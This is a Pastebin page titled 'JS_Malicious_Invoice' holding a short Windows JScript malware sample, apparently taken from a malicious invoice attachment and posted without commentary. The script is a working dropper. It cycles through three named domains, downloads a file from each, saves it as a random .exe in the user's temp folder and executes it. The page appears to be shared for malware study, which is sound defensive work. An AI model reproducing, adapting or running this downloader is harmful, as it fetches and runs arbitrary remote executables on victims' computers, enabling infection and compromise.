waliedassar

JS_Malicious_Invoice

Apr 18th, 2015
491
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function dl(fr)
  2. {
  3.     var b = "siammedia.org pitfaa.nidhog.com www.mybusinessdoc.com".split(" ");
  4.     for (var i = 0; i < b.length; i++)
  5.     {
  6.         var ws = new ActiveXObject("WScript.Shell");
  7.         var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
  8.         var dn = 0;
  9.         var xo = new ActiveXObject("MSXML2.XMLHTTP");
  10.         xo.onreadystatechange = function ()
  11.         {
  12.             if (xo.readyState == 4 && xo.status == 200)
  13.             {
  14.                 var xa = new ActiveXObject("ADODB.Stream");
  15.                 xa.open();
  16.                 xa.type = 1;
  17.                 xa.write(xo.ResponseBody);
  18.                 if (xa.size > 5000)
  19.                 {
  20.                     dn = 1;
  21.                     xa.position = 0;
  22.                     xa.saveToFile(fn, 2);
  23.                     try
  24.                     {
  25.                         ws.Run(fn, 1, 0);
  26.                     }
  27.                     catch (er)
  28.                     {};
  29.                 };
  30.                 xa.close();
  31.             };
  32.         };
  33.         try
  34.         {
  35.             xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + listing, false);
  36.             xo.send();
  37.         }
  38.         catch (er)
  39.         {};
  40.         if (dn == 1)
  41.             break;
  42.     }
  43. };
  44. dl(6381);
  45. dl(3652);
  46. dl(903);
RAW Paste Data